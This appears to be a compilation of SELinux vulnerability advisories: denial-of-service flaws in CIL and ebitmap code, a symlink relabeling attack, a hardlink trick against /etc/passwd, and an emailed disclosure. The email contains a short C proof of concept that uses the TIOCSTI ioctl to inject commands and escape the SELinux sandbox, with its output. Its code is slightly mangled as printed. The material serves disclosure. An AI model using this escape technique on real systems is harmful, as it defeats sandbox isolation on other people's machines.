SELinux Project SELinux is vulnerable to a denial of service, caused by a heap-based buffer over-read in ebitmapmatchany. By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition.

SELinux Project SELinux is vulnerable to a denial of service, caused by a use-after-free in cilresetclasspermission . By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition.

SELinux Project SELinux is vulnerable to a denial of service, caused by a use-after-free in cilverifyclassperms. By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition.

SELinux Project SELinux is vulnerable to a denial of service, caused by a use-after-free in cilverifyclassperms. By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition.

Context relabeling of filesystems is vulnerable to symbolic link attack, allowing a local, unprivileged malicious entity to change the SELinux context of an arbitrary file to a context with few restrictions. This only happens when the relabeling process is done, usually when taking SELinux state from disabled to enable (permissive or enforcing). The issue was found in policycoreutils 2.5-11.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.

selinux-policy when sysctl fs.protectedhardlinks are set to 0 allows local users to cause a denial of service (SSH login prevention) by creating a hardlink to /etc/passwd from a directory named .config, and updating selinux-policy.